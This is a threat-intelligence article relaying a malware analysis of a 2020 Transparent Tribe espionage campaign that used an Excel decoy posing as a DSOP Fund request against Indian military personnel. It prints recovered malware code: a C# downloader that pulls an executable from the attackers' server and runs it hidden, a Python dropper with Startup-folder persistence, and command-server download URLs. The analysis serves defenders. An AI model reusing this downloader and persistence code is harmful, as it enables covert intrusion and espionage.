Exclusive: Pakistan and India to armaments: Operation Transparent Tribe is back 4 years later

Pierluigi Paganini February 21, 2020

Exclusive: Pakistan and India to armaments. Researchers from Cybaze-Yoroi ZLab gathered intelligence on the return of Operation Transparent Tribe is back 4 years later

Introduction

The Operation Transparent Tribe was first spotted by Proofpoint Researchers in Feb 2016, in a series of espionages operations against Indian diplomats and military personnel in some embassies in Saudi Arabia and Kazakhstan. At that time, the researchers tracked the sources IP in Pakistan, the attacks were part of a wider operation that relies on multi vector such as watering hole websites and phishing email campaigns delivering custom RATs dubbed Crimson and Peppy. These RATs are capable of exfiltrate information, take screenshot and record webcam streams.

This threat actor has vanished for a long period, and only the last month appeared another time probably for the actual tensions between two countries. We noticed that the TTP of the group is almost the same leveraging a weaponized document with a fake certificate of request of an Indian public fund. So, Cybaze-Yoroi ZLab team decided to dive deep into technical analysis.

Technical Analysis

Hash662c3b181467a9d2f40a7b632a4b5fe5ddd201a528ba408badbf7b2375ee3553
ThreatNew Operation Transparent Tribe Campaign
Brief DescriptionMalicious macro document of the new Campaign of Transparent Tribe
Ssdeep24576:Nh2axIaansJlyJ1prFnFmbX3ti6iEIb+R9mSXH9tBUnTqHT:Nhfx4nsPyJ1ppnEX3UCICRhXHXe

Table 1. Static information about the malicious macro 

The document presents itself as a request for a DSOP FUND (Defence Services Officers Provident Fund). It is a fund where an officer compulsorily deposits some money to Govt on a monthly basis out of his wages / salary. 

The Fund is financial planning for defense personnel. The money is kept by the government and in return, a “non-permanent” profit officially titled as “interest” is given back to the officers at the end of each year. The DSOP fund scheme has been set up as a “welfare measure” to the depositors while the wages remain barely meeting ends otherwise.

Figure 1: Piece of the malicious document employed in the Op. Transparent Tribe

Self-Extracting Macro

Analyzing the content of the Excel file, we notice that the file contains all the necessary components to perform the infection:

Figure 2: Piece of the malicious macro

The macro is not heavily obfuscated. The macro components are hidden as Hex or Decimal strings, which will be combined with each other to unleash the next stage of the infection.

Then it is possible to deobfuscate them.

Figure 3: Extracted component from the macro

The macro creates two folders inside %PROGRAMDATA% path, “systemidleperf” and “SppExtComTel”. 

Figure 4: Extracted files

Analyzing these files, we have a vbs script, a C# script and a zip file, inside this archive we found 4 PE artifacts:

Figure 5: Content of the “systemidleperf.zip” file

The SilentCMD Module

The two dll are legit windows library and are used in support of the malicious behaviour. Instead, the “windproc.scr” and “windprocx.scr” files are the compiled version of the utility SilentCMD publicly available on GitHub. SilentCMD executes a batch file without opening the command prompt window. If required, the console output can be redirected to a log file.

Figure 6: SilentCMD main routine

The SilentCMD utility is used to execute the commands pushed from the C2, and all of them will be executed without showing anything to the user. However, as previously mentioned, it is curious to notice that the malware installs two different variants of the executable, with the only difference in timestamp:

Figure 7: Comparison between the two files

The Real Time Module

The other extracted file is the “Realtime.cs” file, which is the source of a piece of code written in C#, and it is compiled and run during the execution of the macro. The code is very simple and it has the only purpose to download another component from the internet: 

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Net;
  6. using System.Text;
  7. namespace Realtime
  8. {
  9. class Program
  10. {
  11. static void Main(string[] args)
  12. {
  13. WebClient wc = new WebClient();
  14. wc.DownloadFile(“http://www.awsyscloud.com/x64i.scr”, @”c:\\programdata\\systemidleperf\\x64i.scr”);
  15. Process proc = new Process();
  16. proc.StartInfo.FileName = Convert.ToString(args[0]);
  17. proc.StartInfo.Arguments = “/c ” + Convert.ToString(args[1]);
  18. proc.StartInfo.UseShellExecute = false;
  19. proc.StartInfo.CreateNoWindow = false;
  20. proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  21. proc.Start();
  22. Environment.Exit(0);
  23. //Application.Exit();
  24. /* if (!proc.Start())
  25. {
  26. //Console.WriteLine(“Error starting”);
  27. return;
  28. }*/
  29. //proc.WaitForExit();
  30. }
  31. }
  32. }

Code snippet 1

The code is really simple, it has the function of downloading the file “x64i.scr” from the dropurl “awsysclou[.com” and then saves it into the folder “c:\programdata\systemidleperf\”. The file is immediately executed through the C# primitives.

The X64i.scr File

Hash7b455b78698f03c0201b2617fe94c70eb89154568b80e0c9d2a871d648ed6665
ThreatNew Operation Transparent Tribe Campaign
Brief DescriptionPython stub malware of the new Campaign of Transparent Tribe
Ssdeep196608:jXm2jfTjEzWt7+eW3TAPHULULN3erOAjsjAbpSzZTfuHO0y7:Lm2jfTgWt65U4UL9eCDHzZfyG7
Icon

Table 2. Static information about the Pyhton Stub

The icon of the executable let us understand that the malware has been forged through the usage of the tool Pyinstaller. It is a tool that permits a user to create a complete self-contained executable starting from a python source code. However, the two main disadvantages of choosing this solution are the high footprint of the executable (reaching more than 7.5MB and this generates a lot of noise inside the system); and the easiness to reverse the executable to obtain the source code.

So, after the operation of reversing, the extracted code of the malware is the following:

  1. from ctypes import *
  2. import socket, time, os, struct, sys
  3. from ctypes.wintypes import HANDLE, DWORD
  4. import platform
  5. import ctypes
  6. import _winreg
  7. import time
  8. import os
  9. import platform
  10. import binascii
  11. import _winreg
  12. import subprocess
  13. bitstream3 = “PAYLOAD_ONE”
  14. bitstream4 = “PAYLOAD_TWO”
  15. oses = os.name
  16. systems = platform.system()
  17. releases = platform.release()
  18. architectures = platform.architecture()[0]
  19. def main():
  20. try:
  21. runsameagain()
  22. except Exception as e:
  23. print str(e)
  24. def runsameagain():
  25. global bitstream3
  26. binstr = bytearray(binascii.unhexlify(bitstream3))
  27. if not os.path.exists(“c:\programdata\SppExtComTel”):
  28. os.makedirs(“c:\programdata\SppExtComTel”)
  29. WriteFile(“c:\programdata\SppExtComTel\SppExtComTel.scr”,binstr);
  30. bootup()
  31. subprocess.Popen([“c:\programdata\SppExtComTel\SppExtComTel.scr”, ‘–brilliance’])
  32. def rundifferentagain():
  33. global bitstream4
  34. binstr = bytearray(binascii.unhexlify(bitstream4))
  35. if not os.path.exists(“c:\programdata\SppExtComTel”):
  36. os.makedirs(“c:\programdata\SppExtComTel”)
  37. WriteFile(“c:\programdata\SppExtComTel\SppExtComTel.scr”,binstr);
  38. bootup()
  39. subprocess.Popen([“c:\programdata\SppExtComTel\SppExtComTel.scr”, ‘–brilliance’])
  40. def Streamers():
  41. try:
  42. rundifferentagain()
  43. return 1
  44. except Exception as e:
  45. print str(e)
  46. def WriteFile(filename,data):
  47. with open(filename,”wb”) as output:
  48. output.write(data)
  49. def bootup():
  50. try:
  51. from win32com.client import Dispatch
  52. from win32com.shell import shell,shellcon
  53. dpath = “c:\programdata\SppExtComTel”
  54. #print “before”
  55. Start_path = shell.SHGetFolderPath(0, shellcon.CSIDL_STARTUP, 0, 0)
  56. com_path = os.path.join(Start_path, “SppExtComTel.lnk”)
  57. target = os.path.join(dpath,”SppExtComTel.scr”)
  58. wDir = dpath
  59. icon = os.path.join(dpath, “SppExtComTel.scr”)
  60. shell = Dispatch(‘WScript.Shell’)
  61. shortcut = shell.CreateShortCut(com_path)
  62. shortcut.Targetpath = target
  63. shortcut.WorkingDirectory = wDir
  64. shortcut.IconLocation = icon
  65. shortcut.save()
  66. #print “there”
  67. #return True
  68. except Exception, e:
  69. print str(e)
  70. if __name__ == “__main__”:
  71. try:
  72. #print oses
  73. #print systems
  74. #print releases
  75. #print architectures
  76. if ‘.py’ not in sys.argv[0]:
  77. #sys.exit()
  78. #print “nothign to do”
  79. if systems == ‘Windows’ and releases == “7”:
  80. main()
  81. elif systems == ‘Windows’ and (releases == “8.1” or releases == “8”):
  82. Streamers()
  83. elif systems == ‘Windows’ and releases == “10”:
  84. #print “Please use a 64 bit version of python”
  85. #print “entering streamers”
  86. Streamers()
  87. else:
  88. Streamers()
  89. except Exception as e:
  90. print str(e)

Code snippet 2 

The python code is very simple to analyze and to explain. The first operation is to declare two global variables, “bitstream3” and “bitstream4”. They are the hexadecimal representation of two PE files, that will be deepened in the next sections. These two files are chosen according to the Windows OS version, as visible at the bottom of the code.

After that, the script writes the desired payload into the folder “c:\programdata\SppExtComTel\” and immediately executed it with the parameter “–brilliance”. After that, the malware guarantees its persistence through the  creation of a LNK file inside the Startup folder.

Figure 8: Persistence mechanism

The RAT

Figure 9: Static information about the Rat

As previously stated, the malware payload is the core component of the malware implant. 

As shown in the above figure, the malware is written in .NET framework and the creation date back to 29 Jan 2020. It is the date of the beginning of the malware campaign, also demonstrated by the registration records of the C2. The malware consists of a modular implant that downloads other components from the C2.

The first operation is to provide to the C2 a list of the running processes on the victim machine: 

Figure 10: C2 communication

The method used to send the information to the C2 is the following: 

Figure 11: C2 communication routine

After that, the malware loops in a cycle and waits for some commands coming from the C2:

Figure 12: Routine for the download of new modules

When the C2 sends some commands to instruct the bot, the malware downloads and executes other two components, which are two DLLs downloaded from the following URLs:

  • http[://awsyscloud[.com/E@t!aBbU0le8hiInks/B/3500/m1ssh0upUuchCukXanevPozlu[.dll
  • http[://awsyscloud[.com/E@t!aBbU0le8hiInks/D/3500/p2ehtHero0paSth3end.dll

The first DLL, once executed, has been renamed in “indexerdervice.dll”. This executable has got a sophisticated encryption method of communication with the C2: 

Figure 13: Evidence of the decrypting routine of the certificate

The above screen shows that the malware requests for an RSA key, which has to be validated by the highlighted text. If the check is positive, the malware can go on to its malicious actions, such as sending of information: 

Figure 14: Sending routine of the malware

The second malware module is a simple DLL having the purpose to download other components from the dropURL and then install it:

Figure 15: Evidence of the hard-coded AES key

The downloaded code has been encrypted through the Rijndael algorithm with a hard-coded key.

Conclusion

The Transparent tribe is back with a new campaign after several years of (apparently) inactivity. We can confirm that this campaign is completely new, relying on the registration record of the C2 that dates back to 29 January 2020. The decoy document presents itself as a request for a DSOP FUND  (Defence Services Officers Provident Fund) a providence fund for official and military personnel, confirming the espionage and counterintelligence character of this campaign. 

At last, we have no certainty that this campaign has been inactive for 4 years, it may be that it acted quietly, but, now the cyber criminal group is back in view of today’s tensions between the two countries.

Additional technical details, including Indicators of Compromise and Yara Rules, are reported in the analysis published by ZLab available here:

[adrotate banner=”9″] [adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – hacking, Operation Transparent Tribe)

[adrotate banner=”5″]

[adrotate banner=”13″]



you might also like

leave a comment